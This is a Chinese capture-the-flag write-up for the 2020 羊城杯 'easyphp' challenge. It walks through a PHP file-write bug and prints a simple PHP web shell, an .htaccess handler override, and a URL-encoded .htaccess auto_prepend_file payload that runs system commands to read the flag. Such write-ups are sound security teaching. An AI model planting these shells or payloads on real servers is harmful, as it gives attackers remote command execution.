[羊城杯2020]easyphp

[羊城杯2020]easyphp

打开题目便是一段代码

复制代码
<?php
// 使用 scandir 函数扫描当前目录(即 ./ 表示的当前目录),将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
        // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
            //如果不是使用unlink函数删除文件
                unlink($file);
            }
            //扫描当前目录 (./) 下的所有文件。如果是文件且文件名不是 index.php,则直接删除 
            //确保每次请求开始时,目录下只有 index.php 这一个文件,防止之前的上传文件残留
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }  //检查 URL 参数中是否同时存在 content 和 filename。如果缺少任一参数,则高亮显示当前源代码并终止脚本
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    } //获取 content 参数,并使用 stristr函数来检查$content中是否包含以下关键词on html type flag upload file,如果包含则输出 "Hacker" 字符串,然后终止脚本的执行
    $filename = $_GET['filename']; 
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();   //强制要求文件名只能由小写字母(a-z)和点号(.)组成,一旦包含数字、大写字母、下划线或路径符号等其他任何字符,立即拦截并报错。
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>  //先清空当前目录下除 index.php 外的所有文件,随后将用户提交的内容(末尾自动追加"Hello, world")写入到指定文件名中。
.htaccess文件

.htaccess(Hypertext Access)文件是 Apache 服务器的一个配置文件,它允许用户在目录级别上对服务器进行配置,而无需修改主服务器配置文件。通过 .htaccess 文件,可以实现诸如 URL 重写、访问 控制 、文件类型映射MIME 类型以及文件处理程序等功能。

允许用户在不修改主服务器配置文件的情况下,对特定目录及其子目录进行个性化的配置。它为网站管理员提供了灵活的方式来定制服务器的行为,而无需直接操作服务器的主配置文件

利用 .htaccess 文件写入 Web Shell 的原理

如果服务器允许使用 .htaccess 文件,并且对用户上传的 .htaccess 文件没有进行严格的过滤和验证,可以上传包含恶意配置的 .htaccess 文件,将普通文件解析为 PHP 代码,从而实现 Web Shell 的功能。

基本步骤:
  1. 构造恶意 .htaccess 文件

将 .txt 文件解析为 PHP 代码

复制代码
<FilesMatch "\.txt$">
        SetHandler application/x-httpd-php
    </FilesMatch>

上述代码的作用是将所有扩展名为 .txt 的文件按照 PHP 代码进行解析。

  1. 上传恶意 .htaccess 文件

需要找到一个允许文件上传的漏洞点,将构造好的 .htaccess 文件上传到服务器的目标目录。

  1. 上传包含 Web Shell 代码的 .txt 文件

上传一个包含 PHP Web Shell 代码的 .txt 文件

复制代码
<?php
    if(isset($_REQUEST['cmd'])){
        system($_REQUEST['cmd']);
    }
    ?>

上述代码是一个简单的 Web Shell,通过 GET 或 POST 请求传递 cmd 参数,可以执行任意系统命令。

  1. 访问 Web Shell

上传成功后,可以通过访问 .txt 文件并传递 cmd 参数来执行系统命令

复制代码
http://example.com/path/to/shell.txt?cmd=ls

构造 payload

复制代码
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这个 payload 是通过构造特定的请求参数,尝试利用 .htaccess 文件的配置功能来执行恶意代码,以达到读取服务器上可能存在的 flag 文件内容的目的,通常应用于存在文件上传或参数可控漏洞的 Web 应用场景。

讲解:
  1. filename=.htaccess

这部分指定了文件名。当服务器接收这个请求并处理文件写入操作时,会将后续的内容写入到名为 .htaccess 的文件中。.htaccess 文件是 Apache 服务器的一个分布式配置文件,允许在目录级别对服务器进行配置,攻击者可利用它来改变服务器对文件的处理方式或执行特定操作。

2.content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这部分是要写入 .htaccess 文件的内容,由于是 URL 编码后的形式,需要先进行解码。解码后内容为:

plaintext

复制代码
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>

php_value auto_prepend_fil\ 和 e .htaccess:

这里利用了换行和拼接的技巧。正常的 PHP 指令是 php_value auto_prepend_file,用于指定在执行 PHP 脚本 之前自动包含的文件。攻击者将这个指令拆分成两行,中间用反斜杠 \ 进行换行拼接,最终目的是让服务器将 .htaccess 文件自身作为预处理文件包含进来。这样,后续在执行该目录下的 PHP 脚本时,会先执行 .htaccess 文件中的内容。

#<?php system('cat /fla?');?>:

这部分虽然看起来是一个注释,实际上是攻击者的恶意代码。# 在 .htaccess 文件中是注释符号,但当 .htaccess 文件被当作 PHP 代码执行时,# 就失去了注释的作用。<?php system('cat /fla?');?> 是一段 PHP 代码,system 函数用于执行系统命令,cat /fla? 表示尝试读取以 fla 开头的文件内容,可能是为了获取服务器上存储的 flag 文件。

所以payload:

复制代码
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

flag{69732333-274f-4f5f-b057-18b0fa62b0d7}

相关推荐
智算菩萨2 小时前
【论文精读】通过元学习与关联规则挖掘增强人工智能在网络安全领域特征选择中的可解释性
论文阅读·人工智能·学习·web安全·论文笔记
一名优秀的码农4 小时前
vulhub系列-48-Hack_Me_Please(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
cch89184 小时前
PHP vs Go:Web开发选谁更胜一筹?
前端·golang·php
一只鼠标猴5 小时前
甲方应急响应:从事件处置到溯源闭环实战指南
安全·web安全·网络安全·应急响应·应急·应急溯源
淼淼爱喝水5 小时前
OpenEuler 系统下 Ansible 环境部署与连通性测试完整步骤
linux·开发语言·php·openeuler
zmj3203246 小时前
ISO/SAE 21434:2021(道路车辆 - 网络安全工程) 汇总
网络·安全·web安全·21434
Chengbei117 小时前
一次比较简单的360加固APP脱壳渗透
网络·数据库·web安全·网络安全·系统安全·网络攻击模型·安全架构
爱学习的程序媛7 小时前
JWT签发全指南:从原理到安全实践
分布式·安全·web安全·安全架构·jwt签发·无状态认证
一只会跑会跳会发疯的猴子8 小时前
php操作elasticsearch,亲测可用
开发语言·elasticsearch·php
汤愈韬8 小时前
网络安全概念及规范
安全·web安全